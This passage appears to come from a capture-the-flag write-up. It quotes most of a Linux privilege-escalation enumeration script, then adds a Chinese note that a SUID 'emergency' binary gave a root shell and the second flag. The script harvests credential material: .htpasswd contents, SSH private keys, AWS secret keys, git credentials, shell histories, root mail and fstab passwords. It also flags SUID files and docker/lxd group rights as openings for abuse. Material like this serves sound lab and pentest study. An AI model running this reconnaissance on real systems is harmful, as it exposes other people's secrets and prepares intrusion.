apacheusr=`grep -i 'user\|group' /etc/apache2/envvars 2>/dev/null |awk '{sub(/.*\export /,"")}1' 2>/dev/null`
if [ "$apacheusr" ]; then
  echo -e "\e[00;31m[-] Apache user configuration:\e[00m\n$apacheusr" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$apacheusr" ]; then
  mkdir --parents $format/etc-export/apache2/ 2>/dev/null
  cp /etc/apache2/envvars $format/etc-export/apache2/envvars 2>/dev/null
fi

#installed apache modules
apachemodules=`apache2ctl -M 2>/dev/null; httpd -M 2>/dev/null`
if [ "$apachemodules" ]; then
  echo -e "\e[00;31m[-] Installed Apache modules:\e[00m\n$apachemodules" 
  echo -e "\n"
fi

#htpasswd check
htpasswd=`find / -name .htpasswd -print -exec cat {} \; 2>/dev/null`
if [ "$htpasswd" ]; then
    echo -e "\e[00;33m[-] htpasswd found - could contain passwords:\e[00m\n$htpasswd"
    echo -e "\n"
fi

#anything in the default http home dirs (a thorough only check as output can be large)
if [ "$thorough" = "1" ]; then
  apachehomedirs=`ls -alhR /var/www/ 2>/dev/null; ls -alhR /srv/www/htdocs/ 2>/dev/null; ls -alhR /usr/local/www/apache2/data/ 2>/dev/null; ls -alhR /opt/lampp/htdocs/ 2>/dev/null`
  if [ "$apachehomedirs" ]; then
    echo -e "\e[00;31m[-] www home dir contents:\e[00m\n$apachehomedirs" 
    echo -e "\n"
  fi
fi

}

interesting_files()
{
echo -e "\e[00;33m### INTERESTING FILES ####################################\e[00m" 

#checks to see if various files are installed
echo -e "\e[00;31m[-] Useful file locations:\e[00m" ; which nc 2>/dev/null ; which netcat 2>/dev/null ; which wget 2>/dev/null ; which nmap 2>/dev/null ; which gcc 2>/dev/null; which curl 2>/dev/null 
echo -e "\n" 

#limited search for installed compilers
compiler=`dpkg --list 2>/dev/null| grep compiler |grep -v decompiler 2>/dev/null && yum list installed 'gcc*' 2>/dev/null| grep gcc 2>/dev/null`
if [ "$compiler" ]; then
  echo -e "\e[00;31m[-] Installed compilers:\e[00m\n$compiler" 
  echo -e "\n"
fi

#manual check - lists out sensitive files, can we read/modify etc.
echo -e "\e[00;31m[-] Can we read/write sensitive files:\e[00m" ; ls -la /etc/passwd 2>/dev/null ; ls -la /etc/group 2>/dev/null ; ls -la /etc/profile 2>/dev/null; ls -la /etc/shadow 2>/dev/null ; ls -la /etc/master.passwd 2>/dev/null 
echo -e "\n" 

#search for suid files
findsuid=`find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;`
if [ "$findsuid" ]; then
  echo -e "\e[00;31m[-] SUID files:\e[00m\n$findsuid" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$findsuid" ]; then
  mkdir $format/suid-files/ 2>/dev/null
  for i in $findsuid; do cp $i $format/suid-files/; done 2>/dev/null
fi

#list of 'interesting' suid files - feel free to make additions
intsuid=`find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null | grep -w $binarylist 2>/dev/null`
if [ "$intsuid" ]; then
  echo -e "\e[00;33m[+] Possibly interesting SUID files:\e[00m\n$intsuid" 
  echo -e "\n"
fi

#lists word-writable suid files
wwsuid=`find / -perm -4002 -type f -exec ls -la {} 2>/dev/null \;`
if [ "$wwsuid" ]; then
  echo -e "\e[00;33m[+] World-writable SUID files:\e[00m\n$wwsuid" 
  echo -e "\n"
fi

#lists world-writable suid files owned by root
wwsuidrt=`find / -uid 0 -perm -4002 -type f -exec ls -la {} 2>/dev/null \;`
if [ "$wwsuidrt" ]; then
  echo -e "\e[00;33m[+] World-writable SUID files owned by root:\e[00m\n$wwsuidrt" 
  echo -e "\n"
fi

#search for sgid files
findsgid=`find / -perm -2000 -type f -exec ls -la {} 2>/dev/null \;`
if [ "$findsgid" ]; then
  echo -e "\e[00;31m[-] SGID files:\e[00m\n$findsgid" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$findsgid" ]; then
  mkdir $format/sgid-files/ 2>/dev/null
  for i in $findsgid; do cp $i $format/sgid-files/; done 2>/dev/null
fi

#list of 'interesting' sgid files
intsgid=`find / -perm -2000 -type f  -exec ls -la {} \; 2>/dev/null | grep -w $binarylist 2>/dev/null`
if [ "$intsgid" ]; then
  echo -e "\e[00;33m[+] Possibly interesting SGID files:\e[00m\n$intsgid" 
  echo -e "\n"
fi

#lists world-writable sgid files
wwsgid=`find / -perm -2002 -type f -exec ls -la {} 2>/dev/null \;`
if [ "$wwsgid" ]; then
  echo -e "\e[00;33m[+] World-writable SGID files:\e[00m\n$wwsgid" 
  echo -e "\n"
fi

#lists world-writable sgid files owned by root
wwsgidrt=`find / -uid 0 -perm -2002 -type f -exec ls -la {} 2>/dev/null \;`
if [ "$wwsgidrt" ]; then
  echo -e "\e[00;33m[+] World-writable SGID files owned by root:\e[00m\n$wwsgidrt" 
  echo -e "\n"
fi

#list all files with POSIX capabilities set along with there capabilities
fileswithcaps=`getcap -r / 2>/dev/null || /sbin/getcap -r / 2>/dev/null`
if [ "$fileswithcaps" ]; then
  echo -e "\e[00;31m[+] Files with POSIX capabilities set:\e[00m\n$fileswithcaps"
  echo -e "\n"
fi

if [ "$export" ] && [ "$fileswithcaps" ]; then
  mkdir $format/files_with_capabilities/ 2>/dev/null
  for i in $fileswithcaps; do cp $i $format/files_with_capabilities/; done 2>/dev/null
fi

#searches /etc/security/capability.conf for users associated capapilies
userswithcaps=`grep -v '^#\|none\|^$' /etc/security/capability.conf 2>/dev/null`
if [ "$userswithcaps" ]; then
  echo -e "\e[00;33m[+] Users with specific POSIX capabilities:\e[00m\n$userswithcaps"
  echo -e "\n"
fi

if [ "$userswithcaps" ] ; then
#matches the capabilities found associated with users with the current user
matchedcaps=`echo -e "$userswithcaps" | grep \`whoami\` | awk '{print $1}' 2>/dev/null`
    if [ "$matchedcaps" ]; then
        echo -e "\e[00;33m[+] Capabilities associated with the current user:\e[00m\n$matchedcaps"
        echo -e "\n"
        #matches the files with capapbilities with capabilities associated with the current user
        matchedfiles=`echo -e "$matchedcaps" | while read -r cap ; do echo -e "$fileswithcaps" | grep "$cap" ; done 2>/dev/null`
        if [ "$matchedfiles" ]; then
            echo -e "\e[00;33m[+] Files with the same capabilities associated with the current user (You may want to try abusing those capabilties):\e[00m\n$matchedfiles"
            echo -e "\n"
            #lists the permissions of the files having the same capabilies associated with the current user
            matchedfilesperms=`echo -e "$matchedfiles" | awk '{print $1}' | while read -r f; do ls -la $f ;done 2>/dev/null`
            echo -e "\e[00;33m[+] Permissions of files with the same capabilities associated with the current user:\e[00m\n$matchedfilesperms"
            echo -e "\n"
            if [ "$matchedfilesperms" ]; then
                #checks if any of the files with same capabilities associated with the current user is writable
                writablematchedfiles=`echo -e "$matchedfiles" | awk '{print $1}' | while read -r f; do find $f -writable -exec ls -la {} + ;done 2>/dev/null`
                if [ "$writablematchedfiles" ]; then
                    echo -e "\e[00;33m[+] User/Group writable files with the same capabilities associated with the current user:\e[00m\n$writablematchedfiles"
                    echo -e "\n"
                fi
            fi
        fi
    fi
fi

#look for private keys - thanks djhohnstein
if [ "$thorough" = "1" ]; then
privatekeyfiles=`grep -rl "PRIVATE KEY-----" /home 2>/dev/null`
    if [ "$privatekeyfiles" ]; then
        echo -e "\e[00;33m[+] Private SSH keys found!:\e[00m\n$privatekeyfiles"
        echo -e "\n"
    fi
fi

#look for AWS keys - thanks djhohnstein
if [ "$thorough" = "1" ]; then
awskeyfiles=`grep -rli "aws_secret_access_key" /home 2>/dev/null`
    if [ "$awskeyfiles" ]; then
        echo -e "\e[00;33m[+] AWS secret keys found!:\e[00m\n$awskeyfiles"
        echo -e "\n"
    fi
fi

#look for git credential files - thanks djhohnstein
if [ "$thorough" = "1" ]; then
gitcredfiles=`find / -name ".git-credentials" 2>/dev/null`
    if [ "$gitcredfiles" ]; then
        echo -e "\e[00;33m[+] Git credentials saved on the machine!:\e[00m\n$gitcredfiles"
        echo -e "\n"
    fi
fi

#list all world-writable files excluding /proc and /sys
if [ "$thorough" = "1" ]; then
wwfiles=`find / ! -path "*/proc/*" ! -path "/sys/*" -perm -2 -type f -exec ls -la {} 2>/dev/null \;`
    if [ "$wwfiles" ]; then
        echo -e "\e[00;31m[-] World-writable files (excluding /proc and /sys):\e[00m\n$wwfiles" 
        echo -e "\n"
    fi
fi

if [ "$thorough" = "1" ]; then
    if [ "$export" ] && [ "$wwfiles" ]; then
        mkdir $format/ww-files/ 2>/dev/null
        for i in $wwfiles; do cp --parents $i $format/ww-files/; done 2>/dev/null
    fi
fi

#are any .plan files accessible in /home (could contain useful information)
usrplan=`find /home -iname *.plan -exec ls -la {} \; -exec cat {} 2>/dev/null \;`
if [ "$usrplan" ]; then
  echo -e "\e[00;31m[-] Plan file permissions and contents:\e[00m\n$usrplan" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$usrplan" ]; then
  mkdir $format/plan_files/ 2>/dev/null
  for i in $usrplan; do cp --parents $i $format/plan_files/; done 2>/dev/null
fi

bsdusrplan=`find /usr/home -iname *.plan -exec ls -la {} \; -exec cat {} 2>/dev/null \;`
if [ "$bsdusrplan" ]; then
  echo -e "\e[00;31m[-] Plan file permissions and contents:\e[00m\n$bsdusrplan" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$bsdusrplan" ]; then
  mkdir $format/plan_files/ 2>/dev/null
  for i in $bsdusrplan; do cp --parents $i $format/plan_files/; done 2>/dev/null
fi

#are there any .rhosts files accessible - these may allow us to login as another user etc.
rhostsusr=`find /home -iname *.rhosts -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;`
if [ "$rhostsusr" ]; then
  echo -e "\e[00;33m[+] rhost config file(s) and file contents:\e[00m\n$rhostsusr" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$rhostsusr" ]; then
  mkdir $format/rhosts/ 2>/dev/null
  for i in $rhostsusr; do cp --parents $i $format/rhosts/; done 2>/dev/null
fi

bsdrhostsusr=`find /usr/home -iname *.rhosts -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;`
if [ "$bsdrhostsusr" ]; then
  echo -e "\e[00;33m[+] rhost config file(s) and file contents:\e[00m\n$bsdrhostsusr" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$bsdrhostsusr" ]; then
  mkdir $format/rhosts 2>/dev/null
  for i in $bsdrhostsusr; do cp --parents $i $format/rhosts/; done 2>/dev/null
fi

rhostssys=`find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;`
if [ "$rhostssys" ]; then
  echo -e "\e[00;33m[+] Hosts.equiv file and contents: \e[00m\n$rhostssys" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$rhostssys" ]; then
  mkdir $format/rhosts/ 2>/dev/null
  for i in $rhostssys; do cp --parents $i $format/rhosts/; done 2>/dev/null
fi

#list nfs shares/permisisons etc.
nfsexports=`ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null`
if [ "$nfsexports" ]; then
  echo -e "\e[00;31m[-] NFS config details: \e[00m\n$nfsexports" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$nfsexports" ]; then
  mkdir $format/etc-export/ 2>/dev/null
  cp /etc/exports $format/etc-export/exports 2>/dev/null
fi

if [ "$thorough" = "1" ]; then
  #phackt
  #displaying /etc/fstab
  fstab=`cat /etc/fstab 2>/dev/null`
  if [ "$fstab" ]; then
    echo -e "\e[00;31m[-] NFS displaying partitions and filesystems - you need to check if exotic filesystems\e[00m"
    echo -e "$fstab"
    echo -e "\n"
  fi
fi

#looking for credentials in /etc/fstab
fstab=`grep username /etc/fstab 2>/dev/null |awk '{sub(/.*\username=/,"");sub(/\,.*/,"")}1' 2>/dev/null| xargs -r echo username: 2>/dev/null; grep password /etc/fstab 2>/dev/null |awk '{sub(/.*\password=/,"");sub(/\,.*/,"")}1' 2>/dev/null| xargs -r echo password: 2>/dev/null; grep domain /etc/fstab 2>/dev/null |awk '{sub(/.*\domain=/,"");sub(/\,.*/,"")}1' 2>/dev/null| xargs -r echo domain: 2>/dev/null`
if [ "$fstab" ]; then
  echo -e "\e[00;33m[+] Looks like there are credentials in /etc/fstab!\e[00m\n$fstab"
  echo -e "\n"
fi

if [ "$export" ] && [ "$fstab" ]; then
  mkdir $format/etc-exports/ 2>/dev/null
  cp /etc/fstab $format/etc-exports/fstab done 2>/dev/null
fi

fstabcred=`grep cred /etc/fstab 2>/dev/null |awk '{sub(/.*\credentials=/,"");sub(/\,.*/,"")}1' 2>/dev/null | xargs -I{} sh -c 'ls -la {}; cat {}' 2>/dev/null`
if [ "$fstabcred" ]; then
    echo -e "\e[00;33m[+] /etc/fstab contains a credentials file!\e[00m\n$fstabcred" 
    echo -e "\n"
fi

if [ "$export" ] && [ "$fstabcred" ]; then
  mkdir $format/etc-exports/ 2>/dev/null
  cp /etc/fstab $format/etc-exports/fstab done 2>/dev/null
fi

#use supplied keyword and cat *.conf files for potential matches - output will show line number within relevant file path where a match has been located
if [ "$keyword" = "" ]; then
  echo -e "[-] Can't search *.conf files as no keyword was entered\n" 
  else
    confkey=`find / -maxdepth 4 -name *.conf -type f -exec grep -Hn $keyword {} \; 2>/dev/null`
    if [ "$confkey" ]; then
      echo -e "\e[00;31m[-] Find keyword ($keyword) in .conf files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$confkey" 
      echo -e "\n" 
     else 
    echo -e "\e[00;31m[-] Find keyword ($keyword) in .conf files (recursive 4 levels):\e[00m" 
    echo -e "'$keyword' not found in any .conf files" 
    echo -e "\n" 
    fi
fi

if [ "$keyword" = "" ]; then
  :
  else
    if [ "$export" ] && [ "$confkey" ]; then
      confkeyfile=`find / -maxdepth 4 -name *.conf -type f -exec grep -lHn $keyword {} \; 2>/dev/null`
      mkdir --parents $format/keyword_file_matches/config_files/ 2>/dev/null
      for i in $confkeyfile; do cp --parents $i $format/keyword_file_matches/config_files/ ; done 2>/dev/null
  fi
fi

#use supplied keyword and cat *.php files for potential matches - output will show line number within relevant file path where a match has been located
if [ "$keyword" = "" ]; then
  echo -e "[-] Can't search *.php files as no keyword was entered\n" 
  else
    phpkey=`find / -maxdepth 10 -name *.php -type f -exec grep -Hn $keyword {} \; 2>/dev/null`
    if [ "$phpkey" ]; then
      echo -e "\e[00;31m[-] Find keyword ($keyword) in .php files (recursive 10 levels - output format filepath:identified line number where keyword appears):\e[00m\n$phpkey" 
      echo -e "\n" 
     else 
  echo -e "\e[00;31m[-] Find keyword ($keyword) in .php files (recursive 10 levels):\e[00m" 
  echo -e "'$keyword' not found in any .php files" 
  echo -e "\n" 
    fi
fi

if [ "$keyword" = "" ]; then
  :
  else
    if [ "$export" ] && [ "$phpkey" ]; then
    phpkeyfile=`find / -maxdepth 10 -name *.php -type f -exec grep -lHn $keyword {} \; 2>/dev/null`
      mkdir --parents $format/keyword_file_matches/php_files/ 2>/dev/null
      for i in $phpkeyfile; do cp --parents $i $format/keyword_file_matches/php_files/ ; done 2>/dev/null
  fi
fi

#use supplied keyword and cat *.log files for potential matches - output will show line number within relevant file path where a match has been located
if [ "$keyword" = "" ];then
  echo -e "[-] Can't search *.log files as no keyword was entered\n" 
  else
    logkey=`find / -maxdepth 4 -name *.log -type f -exec grep -Hn $keyword {} \; 2>/dev/null`
    if [ "$logkey" ]; then
      echo -e "\e[00;31m[-] Find keyword ($keyword) in .log files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$logkey" 
      echo -e "\n" 
     else 
    echo -e "\e[00;31m[-] Find keyword ($keyword) in .log files (recursive 4 levels):\e[00m" 
    echo -e "'$keyword' not found in any .log files"
    echo -e "\n" 
    fi
fi

if [ "$keyword" = "" ];then
  :
  else
    if [ "$export" ] && [ "$logkey" ]; then
      logkeyfile=`find / -maxdepth 4 -name *.log -type f -exec grep -lHn $keyword {} \; 2>/dev/null`
      mkdir --parents $format/keyword_file_matches/log_files/ 2>/dev/null
      for i in $logkeyfile; do cp --parents $i $format/keyword_file_matches/log_files/ ; done 2>/dev/null
  fi
fi

#use supplied keyword and cat *.ini files for potential matches - output will show line number within relevant file path where a match has been located
if [ "$keyword" = "" ];then
  echo -e "[-] Can't search *.ini files as no keyword was entered\n" 
  else
    inikey=`find / -maxdepth 4 -name *.ini -type f -exec grep -Hn $keyword {} \; 2>/dev/null`
    if [ "$inikey" ]; then
      echo -e "\e[00;31m[-] Find keyword ($keyword) in .ini files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$inikey" 
      echo -e "\n" 
     else 
    echo -e "\e[00;31m[-] Find keyword ($keyword) in .ini files (recursive 4 levels):\e[00m" 
    echo -e "'$keyword' not found in any .ini files" 
    echo -e "\n"
    fi
fi

if [ "$keyword" = "" ];then
  :
  else
    if [ "$export" ] && [ "$inikey" ]; then
      inikey=`find / -maxdepth 4 -name *.ini -type f -exec grep -lHn $keyword {} \; 2>/dev/null`
      mkdir --parents $format/keyword_file_matches/ini_files/ 2>/dev/null
      for i in $inikey; do cp --parents $i $format/keyword_file_matches/ini_files/ ; done 2>/dev/null
  fi
fi

#quick extract of .conf files from /etc - only 1 level
allconf=`find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {} \; 2>/dev/null`
if [ "$allconf" ]; then
  echo -e "\e[00;31m[-] All *.conf files in /etc (recursive 1 level):\e[00m\n$allconf" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$allconf" ]; then
  mkdir $format/conf-files/ 2>/dev/null
  for i in $allconf; do cp --parents $i $format/conf-files/; done 2>/dev/null
fi

#extract any user history files that are accessible
usrhist=`ls -la ~/.*_history 2>/dev/null`
if [ "$usrhist" ]; then
  echo -e "\e[00;31m[-] Current user's history files:\e[00m\n$usrhist" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$usrhist" ]; then
  mkdir $format/history_files/ 2>/dev/null
  for i in $usrhist; do cp --parents $i $format/history_files/; done 2>/dev/null
fi

#can we read roots *_history files - could be passwords stored etc.
roothist=`ls -la /root/.*_history 2>/dev/null`
if [ "$roothist" ]; then
  echo -e "\e[00;33m[+] Root's history files are accessible!\e[00m\n$roothist" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$roothist" ]; then
  mkdir $format/history_files/ 2>/dev/null
  cp $roothist $format/history_files/ 2>/dev/null
fi

#all accessible .bash_history files in /home
checkbashhist=`find /home -name .bash_history -print -exec cat {} 2>/dev/null \;`
if [ "$checkbashhist" ]; then
  echo -e "\e[00;31m[-] Location and contents (if accessible) of .bash_history file(s):\e[00m\n$checkbashhist"
  echo -e "\n"
fi

#is there any mail accessible
readmail=`ls -la /var/mail 2>/dev/null`
if [ "$readmail" ]; then
  echo -e "\e[00;31m[-] Any interesting mail in /var/mail:\e[00m\n$readmail" 
  echo -e "\n"
fi

#can we read roots mail
readmailroot=`head /var/mail/root 2>/dev/null`
if [ "$readmailroot" ]; then
  echo -e "\e[00;33m[+] We can read /var/mail/root! (snippet below)\e[00m\n$readmailroot" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$readmailroot" ]; then
  mkdir $format/mail-from-root/ 2>/dev/null
  cp $readmailroot $format/mail-from-root/ 2>/dev/null
fi
}

docker_checks()
{

#specific checks - check to see if we're in a docker container
dockercontainer=` grep -i docker /proc/self/cgroup  2>/dev/null; find / -name "*dockerenv*" -exec ls -la {} \; 2>/dev/null`
if [ "$dockercontainer" ]; then
  echo -e "\e[00;33m[+] Looks like we're in a Docker container:\e[00m\n$dockercontainer" 
  echo -e "\n"
fi

#specific checks - check to see if we're a docker host
dockerhost=`docker --version 2>/dev/null; docker ps -a 2>/dev/null`
if [ "$dockerhost" ]; then
  echo -e "\e[00;33m[+] Looks like we're hosting Docker:\e[00m\n$dockerhost" 
  echo -e "\n"
fi

#specific checks - are we a member of the docker group
dockergrp=`id | grep -i docker 2>/dev/null`
if [ "$dockergrp" ]; then
  echo -e "\e[00;33m[+] We're a member of the (docker) group - could possibly misuse these rights!\e[00m\n$dockergrp" 
  echo -e "\n"
fi

#specific checks - are there any docker files present
dockerfiles=`find / -name Dockerfile -exec ls -l {} 2>/dev/null \;`
if [ "$dockerfiles" ]; then
  echo -e "\e[00;31m[-] Anything juicy in the Dockerfile:\e[00m\n$dockerfiles" 
  echo -e "\n"
fi

#specific checks - are there any docker files present
dockeryml=`find / -name docker-compose.yml -exec ls -l {} 2>/dev/null \;`
if [ "$dockeryml" ]; then
  echo -e "\e[00;31m[-] Anything juicy in docker-compose.yml:\e[00m\n$dockeryml" 
  echo -e "\n"
fi
}

lxc_container_checks()
{

#specific checks - are we in an lxd/lxc container
lxccontainer=`grep -qa container=lxc /proc/1/environ 2>/dev/null`
if [ "$lxccontainer" ]; then
  echo -e "\e[00;33m[+] Looks like we're in a lxc container:\e[00m\n$lxccontainer"
  echo -e "\n"
fi

#specific checks - are we a member of the lxd group
lxdgroup=`id | grep -i lxd 2>/dev/null`
if [ "$lxdgroup" ]; then
  echo -e "\e[00;33m[+] We're a member of the (lxd) group - could possibly misuse these rights!\e[00m\n$lxdgroup"
  echo -e "\n"
fi
}

footer()
{
echo -e "\e[00;33m### SCAN COMPLETE ####################################\e[00m" 
}

call_each()
{
  header
  debug_info
  system_info
  user_info
  environmental_info
  job_info
  networking_info
  services_info
  software_configs
  interesting_files
  docker_checks
  lxc_container_checks
  footer
}

while getopts "h:k:r:e:st" option; do
 case "${option}" in
    k) keyword=${OPTARG};;
    r) report=${OPTARG}"-"`date +"%d-%m-%y"`;;
    e) export=${OPTARG};;
    s) sudopass=1;;
    t) thorough=1;;
    h) usage; exit;;
    *) usage; exit;;
 esac
done

call_each | tee -a $report 2> /dev/null
#EndOfScript

发现 SUID files 存在 emergency 可执行文件,尝试执行,发现是一个紧急情况下的 root shell,直接查看 root.txt 获得第二个flag。 https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190909211732.png-water_print

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190909211921.png-water_print